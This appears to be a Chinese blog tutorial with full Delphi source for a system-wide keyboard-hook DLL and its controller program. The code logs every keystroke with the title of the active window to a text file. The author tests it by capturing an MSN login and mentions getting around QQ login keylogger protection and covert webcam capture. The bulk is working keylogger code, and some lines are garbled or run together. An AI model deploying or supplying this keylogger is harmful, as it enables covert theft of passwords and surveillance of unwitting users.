键盘Hook【Delphi版】

一.钩子的基本概念

a) Hook作用:监视windows消息,在“特定消息”没有到达窗口之前捕获它。

b)钩子分类:
线程专用钩子:只监视指定的线程
全局钩子:监视系统中的所有线程

如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;

如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对整个系统进行监控.

c)几种常用类型的钩子:


    1)键盘钩子可以监视各种键盘消息。

2)鼠标钩子可以监视各种鼠标消息。

3)外壳钩子可以监视各种Shell事件消息,启动和关闭应用程序等。

4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

d) 详细参考:

         理论分析:http://blog.csdn.net/yincheng01/article/details/6899305
常用方式:http://www.cnblogs.com/linyawen/archive/2011/03/25/1995624.html

二.键盘钩子的实际应用

     a)键盘钩子DLL源码

library KeyboardHook;

uses
SysUtils,
Windows,
Messages,
Classes;

{$R *.res}

var
hook: HHOOK; {钩子变量}
LastFocusWnd:Hwnd=0;
PrvChar:Char;
HookKey:String;

KeyList:Tstringlist;

const
KeyMask=$80000000;
{键盘钩子函数}
function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall;
var
ch:Char; //记录一个个按下的按键字符
vKey:integer; //表示按下了哪个键
FocusWnd:HWND; //当前活动窗口句柄
Title:array[0..255] of char; //窗口句柄的标题
str:array[0..12] of char; // 当8<=vkey<=46时,表示按下的键名,例如[退格]
PEvt:^EventMsg; //EventMsg的指针
iCapsLock,iNumLock,iShift:integer; //状态按键
bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键
begin
if iCode begin
Result:=CallNextHookEx(hook,iCode,wParam,lParam);
Exit;
end;

if (iCode = HC_ACTION) then //设备动作
begin

PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针
FocusWnd:= GetActiveWindow; //获取活动窗体句柄
if (LastFocusWnd <> FocusWnd) then
begin
if (HookKey <> '') then
begin
KeyList.Add('键盘击打:'+HookKey);
HookKey:= '';
end;
GetWindowText(FocusWnd,Title,256);
LastFocusWnd:= FocusWnd;
KeyList.add(Format('激活窗口:%s',[Title]));
end;

if (PEvt.message = WM_KEYDOWN) then //如果事件消息为键下压操作
begin
vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容
iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态
iCapsLock:= GetKeyState(VK_CAPITAL);
iNumLock:= GEtKeyState(VK_NUMLOCK);
bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态
bCapsLock:=(iCapsLock = 1);
bNumLock:= (iNumLock = 1);
end;

if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9 begin if (not bShift) then //如果没有按下Shift键 ch:= char (vkey) //数字字符 else begin case vkey of //否则为以下字符之一 48:ch:= ')'; 49:ch:= '!'; 50:ch:= '@'; 51:ch:= '#'; 52:ch:= '$'; 53:ch:= '%'; 54:ch:= '^'; 55:ch:= '&'; 56:ch:= '*'; 57:ch:= '('; end; //end case end; //end else HookKey:= HookKey + ch; end; //end if ((vKey >= 48) and (vKey <=57)) if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z' begin if (not bCapsLock) then //如果没有按下CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey) //大写 else ch:= char(vkey + 32); //小写 end else //按下了CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey + 32) //小写 else ch:= char(vkey); //大写 end; HookKey:= HookKey + ch; //将按键添加到按键字符串 end; if ((vkey >= 96) and (vkey <= 105)) then //小键盘的0-9 if bNumLock then HookKey:= HookKey + char(vkey - 96 + 48); ch:= 'n'; if ((vkey >= 105) and (vkey <=111)) then //+-*/ begin case vkey of 106:ch:= '*'; 107:ch:= '+'; 109:ch:= '-'; 111:ch:= '/'; else ch:= 'n'; end; end; if ((vkey >=186) and (vkey <= 222)) then //特殊符号
begin
if (not bShift) then //没有按下Shift键
begin
case vkey of
186:ch:= ';';
187:ch:= '=';
189:ch:= ',';
190:ch:= '.';
191:ch:= '/';
192:ch:= '''' ;
219:ch:= '[';
220:ch:= '\';
221:ch:= ']';
222:ch:=char(27);
else
ch:= 'n';
end; //end case
end
else
begin
case vkey of
186:ch:= ':';
187:ch:= '+';
189:ch:= '<'; 190:ch:= '>';
191:ch:= '?';
192:ch:= '~';
219:ch:= '{';
220:ch:= '|';
221:ch:= '}';
222:ch:= '"';
else
ch:= 'n';
end; //end case
end; //end if else
end; //end if ((vkey >=186) and (vkey <= 222))
if ch <> 'n' then //剔除未规定字符
HookKey := HookKey + ch;
if ((vkey >= 8) and (vkey <=46)) then
begin
ch:= ' ';
case vkey of
8:str:= '[BACK]';
9:str:= '[TAB]';
13:str:= '[ENTER]';
32:str:= '[SPACE]';
35:str:= '[END]';
36:str:= '[HOME]';
37:str:= '[LF]';
38:str:= '[UF]';
39:str:= '[RF]';
40:str:= '[DF]';
45:str:= '[INSERT]';
46:str:= '[DELETE]';
else
ch:= 'n';
end;
if (ch <> 'n') then
begin
HookKey := HookKey + str;
end;
end;

// KeyList.Add('ABC');
end;//end iCode= HC_ACTION

result := CallNextHookEx(hook,iCode,wparam,lparam);
end;

{建立钩子}
function SetHook:Boolean;stdcall;
begin
if (hook = 0) then
begin
KeyList:=Tstringlist.Create;
hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0); //调用API HOOK
Result:=hook<>0
end
else
Result:=False;
end;

{释放钩子}
function DelHook:Boolean;stdcall;
begin
if (hook <> 0 ) then
begin
Result:=UnHookWindowsHookEx(hook); //卸载HOOK
hook:=0;
KeyList.Free;
end
else
Result:=False;
end;

procedure PrintHook;stdcall;
var
printStr:string;
txtFile:TextFile;
fileName:string;
begin
if KeyList <> nil then
begin
printStr:=keyList.Text;
KeyList.Text:='';
//将键盘输入内容进行打印
fileName:='E:\SourceCode\DelphiWorkspace\Demo\键盘Hook2\keyboardRecord.txt';

AssignFile(txtFile,fileName);
if not FileExists(fileName) then
begin
Rewrite(txtFile);
end
else
begin
Append(txtFile);
end;

Writeln(txtFile,printStr);
Closefile(txtFile);

end;
end;

{按DLL的要求输出函数}
exports
SetHook name 'SetHook',
DelHook name 'DelHook',
PrintHook name 'PrintHook';

//SetHook,DelHook,PrintHook;{如果不需要改名,可以直接这样exports}
begin
end.

b)应用程序源码

unit Main;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TFrmMain = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
isHookInstalled:Boolean;
public
{ Public declarations }
end;

{DLL 中的函数声明}
function SetHook: Boolean; stdcall;
function DelHook: Boolean; stdcall;
procedure PrintHook;stdcall;

var
FrmMain: TFrmMain;

implementation

{$R *.dfm}
{DLL 中的函数实现, 也就是说明来自那里, 原来叫什么名}
function SetHook; external 'KeyboardHook.dll' name 'SetHook';
function DelHook; external 'KeyboardHook.dll' name 'DelHook';
procedure PrintHook; external 'KeyboardHook.dll' name 'PrintHook';

procedure TFrmMain.Button1Click(Sender: TObject);
begin
Self.Button1.Enabled:=False;
Self.Button2.Enabled:=True;
Self.Button3.Enabled:=True;

if SetHook then
begin
isHookInstalled:=True;
Self.Memo1.Lines.Add('键盘钩子已安装。。。');
end;
end;

procedure TFrmMain.Button2Click(Sender: TObject);
begin
PrintHook;
Self.Memo1.Lines.Add('已打印');
end;

procedure TFrmMain.Button3Click(Sender: TObject);
begin
if DelHook then
begin
isHookInstalled:=False;
Self.Memo1.Lines.Add('键盘钩子已撤销!!!');
Self.Memo1.Lines.Add(' ');
end;

Self.Button1.Enabled:=True;
Self.Button2.Enabled:=False;
Self.Button3.Enabled:=False;
end;

procedure TFrmMain.FormCreate(Sender: TObject);
begin
Self.Button1.Enabled:=True;
Self.Button2.Enabled:=False;
Self.Button3.Enabled:=False;
isHookInstalled:=False;

Self.Memo1.Color:=clBlack;
Self.Memo1.Font.Color:=clGreen;
end;

procedure TFrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if isHookInstalled then
DelHook;
end;

end.

  c)运行结果

        1)程序启动,安装键盘钩子

        2)通过登录MSN进行测试

        3)打印所有键盘操作至txt

三.其他

  1.QQ登录窗口防键盘钩子的详细分析
    http://wenku.baidu.com/view/05ecf86727d3240c8447ef9e.html
http://www.sadlycodes.com/?p=745

2.低级鼠标键盘钩子
    WH_KEYBOARD_LL
WH_MOUSE_LL
http://hi.baidu.com/32881/blog/item/b410c702ec2e9c1c4afb5111.html

3.几个小工具
a)QQ启动后,记录下部分键盘操作
b)指定时间范围内个人电脑被恶意启动,记录下部分屏幕操作,并通过摄像头进行拍照

赞(0) 打赏
分享到: 更多 (0)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏